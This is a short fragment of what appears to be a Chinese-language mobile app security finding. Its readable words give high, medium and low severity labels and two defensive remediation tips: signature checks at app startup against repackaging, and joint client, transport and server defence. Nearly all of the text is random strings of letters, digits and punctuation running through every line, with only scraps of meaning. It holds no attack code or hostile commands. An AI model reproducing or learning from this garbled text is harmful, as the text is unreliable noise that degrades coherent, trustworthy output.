2 q# ]6 z3 p4 z6 r3 L& `, g9 `* ~2 h1 U& d3 P" b" h6 ` S" b! P/ K3 B% z1 o5 f n* W# V* D$ M# Z. [5 D$ z9 [% V' ` l, J& Q3 t: z) @* H J/ o" |% N5 D+ i$ j7 w' s; K3 ]8 H% S& b9 x& j4 f& X' {- R4 R5 S* p% q( z" t) Y- n/ O b+ ^6 V5 |0 V4 O Z3 c4 U7 C" a5 O; |* X5 s$ @2 I) ~! C6 K% m. z, [% Y4 ?! Q$ u4 \6 M4 X9 t0 L

2 j G) v' t( E % L: |2 U w$ G9 F' |# K ' X! E. Q* N x6 N6 ]% y2 J 严重程度 $ M" m7 g, \" R 0 E6 p. h* v+ S! j- d$ x	3 L; g4 r) F5 M. l- S+ P3 d - D b7 l4 G7 A$ @# K/ U! c& x! h 高 3 K5 T: b9 t4 v, T ; G" `4 Y9 g$ R / l3 k: H1 u2 r+ M% o' e- `; _, ?, ^ , d5 t$ F. K* i2 A# h	8 n+ q9 A6 f. j % f, R: M* W' h: L& V+ O ■	' N4 u) E* h/ f1 `/ Q+ r }: c' i / `! P+ V& ]' z J! o! l6 X9 t5 i # ^) t% t, j) ]7 q! Y" _ 中 * N: u4 {" o# p& _* q% `2 _ ) B* w3 k' g3 O	' }* s- V2 w! t3 f5 {# R 6 @. q1 l: } U/ o$ E. c1 z3 Q . k5 O6 {; x$ |- w2 V- y   ! n+ A3 F; D! `7 m: J- h! V " D8 ^5 i* C' s0 G$ M s) }& ] # l# e, N% Q Z, L( q	: b1 W, B- n& W+ t+ z7 F7 ] 低 $ h8 ^7 d n0 x T3 F " \: D+ \6 k# Z# T2 i5 i* u% } 6 b8 i# D. X0 i: { y5 o& a& } 4 a( u6 P2 c7 @0 k& X- h1 a	- p' e) y+ y: i: Z7 A% S( h - c& z) y6 Q+ T, V' a, E ) k- g, f; L$ M; A   ( r7 d8 ^8 k9 W5 h5 U

5 F% ?" e) F; G8 C0 K. s! |) Z  

, n0 d/ u4 I/ G4 R+ _6 V/ x

( \ e/ S' C0 \ A1 \. p+ z7 r 修复方法： O, s, U/ h) e. r) q: q; O% n 1 i& u2 K8 O* f! o" U9 K, `

1 o' F# g2 |$ Y, G6 Y4 y

              1.在 APP 启动时应做签名校验防止二次打包。
& A) }/ H$ @" h 0 v) k! P G1 h 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 $ L2 D; A: |: w* `' _. v' A# @

8 z. R; Y* u/ J9 b. A5 b1 d9 ] 7 a9 V" Z: P# E+ Z ) s5 s+ v$ a- A; m4 M3 Y @& ^$ p% D: |/ A5 t1 r1 C

: ^$ [ V, N; {, |% ^1 C9 r% i 2 L S( h! ]/ k8 l5 S( s$ K   - J/ }( @. C+ X: b1 M6 }& o# M

" s0 t! ~/ d- k& G( i + o1 j; S+ E6 _% Y9 c

" u: G" n1 r& I8 ]+ D* m7 Y / I; D7 r: M8 j% l3 y( r, _% l9 _
9 k! F1 N2 I/ ~

! a5 ^+ c8 Q5 v